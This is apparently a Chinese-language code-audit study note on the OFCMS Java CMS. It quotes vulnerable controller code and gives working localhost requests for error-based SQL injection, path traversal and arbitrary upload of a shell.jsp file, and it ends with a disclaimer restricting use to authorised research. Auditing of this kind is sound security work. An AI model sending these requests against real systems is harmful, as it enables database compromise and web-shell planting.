https://blog.csdn.net/oufua/article/details/82584637
安装后是重启容器
最后
db-config.properties 改成db.properties 修改数据库连接
全局搜索${ 查看没有预编译的sql语句,从而找到sql注入功能点
Ctrl+alt+h 查看函数的调用栈
寻找到一处没有进行任何处理的sql语句
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}
}
getPara(“sql”) 后直接交给Db.update(sql)执行
请求包
http://localhost:8080/ofcms_admin_war/admin/system/generate/create?sql=UPDATE%20of_cms_api%20SET%20api_url=updatexml(2,concat(0x7e,(version())),0)
响应包
{“msg”:“java.sql.SQLException: XPATH syntax error: ‘~5.7.26’”,“code”:“处理失败请稍后重试!”,“success”:false}
http://localhost:8080/ofcms_admin_war/admin/comn/service/update.json?sqlid=system.task.update
payload
aaaa
保存和查询输出并未过滤,可能前端有限制js,需要绕一些前端应该会存在xss
关键代码
public void getTemplates() {
//当前目录
String dirName = getPara("dir","");
//上级目录
String upDirName = getPara("up_dir","/");
//类型区分
String resPath = getPara("res_path");
//文件目录
String dir = null;
if(!"/".equals(upDirName)){
dir = upDirName+dirName;
}else{
dir = dirName;
}
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
}
http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?dir=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/
在查看调用栈的时候发现了save保存文件的接口只过滤了<>
使用url编码上传木马测试
任意文件上传
关键代码
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs");
if (dirName != null) {
pathFile = new File(pathFile, dirName);
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("<", "<").replace(">", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}
接下来要尝试构造参数
filen_name res_path=res
dir=/ file_content 就可以任意文件上传了
可以上传jsp文件
参数:
file_path=&dirs=%2F&res_path=res&file_name=shell.jsp&file_content=aaaaaaa
写入到静态页面static目录下,也就是…/…/static/目录下
学习中,全局搜索危险函数并未发现可控的功能点
参考:http://www.hackdig.com/06/hack-1021138.htm
判断一个网站系统是否存在log4j远程命令执行漏洞需要判断一下几个条件:
1、 是否使用了存在漏洞版本的log4j组件
2、是否使用类似这种危险函数:logger.debug ,logger.info ,logger.warn , logger.error ,logger.fatal
3、函数内的参数值是否用户可控
发现危险性函数,看看参数是不是可以控制
部分代码
while (!stopRequested) {
log.info("##### 自动更新配置文件服务启动, 更新间隔时间 " + interval + " 秒");
// 去除 Engine 中的缓存,以免 get 出来后重新判断 isModified
sqlKit.getEngine().removeAllTemplateCache();
sqlKit.parseSqlTemplate();
try {
sleep(interval * 1000);
} catch (InterruptedException e) {
runThread.interrupt();
}
}
log.info("##### 自动更新配置文件服务退出");
}
发现是固定参数用户不可控
未完待续,继续学习。
环境搭建:
https://blog.csdn.net/oufua/article/details/82584637
Log4j代码审计
http://www.hackdig.com/06/hack-1021138.htm
仅作为安全研究使用,请勿使用未授权的攻击行为,遵循法律法规。